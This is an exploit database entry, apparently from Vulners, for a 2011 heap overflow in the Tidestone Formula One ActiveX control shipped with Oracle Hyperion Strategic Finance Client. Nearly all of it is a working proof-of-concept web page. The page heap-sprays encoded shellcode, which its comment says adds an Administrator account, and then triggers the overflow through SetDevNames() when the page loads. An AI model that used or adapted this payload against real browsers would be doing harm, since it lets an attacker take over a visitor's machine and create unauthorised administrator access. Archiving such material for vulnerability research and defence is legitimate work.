Oracle Hyperion Strategic Finance Client 12.x Heap Overflow

🗓️ 07 Nov 2011 00:00:00Reported by rgodType

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Oracle Hyperion Strategic Finance Client 12.x Heap Overflow Tidestone Formula One Workbook OLE Contro

`<!--   
Oracle Hyperion Strategic Finance Client 12.x Tidestone Formula One   
WorkBook OLE Control TTF16 (6.3.5 Build 1) SetDevNames() Remote Heap Overflow poc  
99% stable,IE-no-dep. I think this control can be carried by other products,   
however 6.1 seems not vulnerable  
A copy of heapLib can be found here: http://retrogod.altervista.org/heapLib_js.html  
ActiveX Settings:  
Binary path: C:\WINDOWS\system32\TTF16.ocx  
CLSID: {B0475003-7740-11D1-BDC3-0020AF9F8E6E}  
ProgID: TTF161.TTF1.6  
Safe for Scripting (IObjectSafety): True  
Safe for Initialization (IObjectSafety): True  
  
Andrea Micalizzi aka rgod  
--!>  
<!-- saved from url=(0014)about:internet -->   
<html>  
<head>  
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">  
<SCRIPT src="heapLib.js"></SCRIPT>  
</head>  
<body>  
<object classid='clsid:B0475003-7740-11D1-BDC3-0020AF9F8E6E' id='obj' width=640 height=480/>  
</object>  
<SCRIPT>  
var finalsize = 1200;  
var final = '';  
var heap = null;  
var curr = 0;  
function x() {   
heap = new heapLib.ie(0x20000);  
var heapspray = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + //add Administrator, user: sun, pass: tzu  
"%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" +  
"%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +  
"%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +  
"%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c" +  
"%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f" +  
"%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b" +  
"%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c" +  
"%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871" +  
"%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835" +  
"%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b" +  
"%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b" +  
"%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34" +  
"%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35" +  
"%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550" +  
"%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b" +  
"%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c" +  
"%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943" +  
"%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370" +  
"%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377" +  
"%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630" +  
"%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265" +  
"%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330" +  
"%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574" +  
"%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030" +  
"%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f" +  
"%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e" +  
"%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242" +  
"%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741" +  
"%u7734%u4734%u4570");   
while(heapspray.length < 0x500) heapspray += unescape("%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606%u0606");  
var heapblock = heapspray;  
while(heapblock.length < 0x40000) heapblock += heapblock;  
final = heapblock.substring(2, 0x40000 - 0x21);  
if(curr < 120) {  
spray();  
}  
}  
  
function spray() {  
if(curr < finalsize - 1) {  
for(var i = 0; i < 120; i++) {  
heap.alloc(final);  
curr++;  
}  
}   
  
}  
</script>  
<script language='javascript' defer=defer>  
x();  
var x ="";  
for (m=0;m<90;m++){x = x + unescape("%u0606%u0606");}  
try{  
obj.SetDevNames(x,"",""); //don't touch  
obj.SetDevNames(x,x,"");  
obj.SetDevNames(x,x,x);  
}  
catch(e){  
}  
obj.SetDevNames(x,x,"");  
</script>  
  
`

07 Nov 2011 00:00Current

0.9Low risk

Vulners AI Score0.9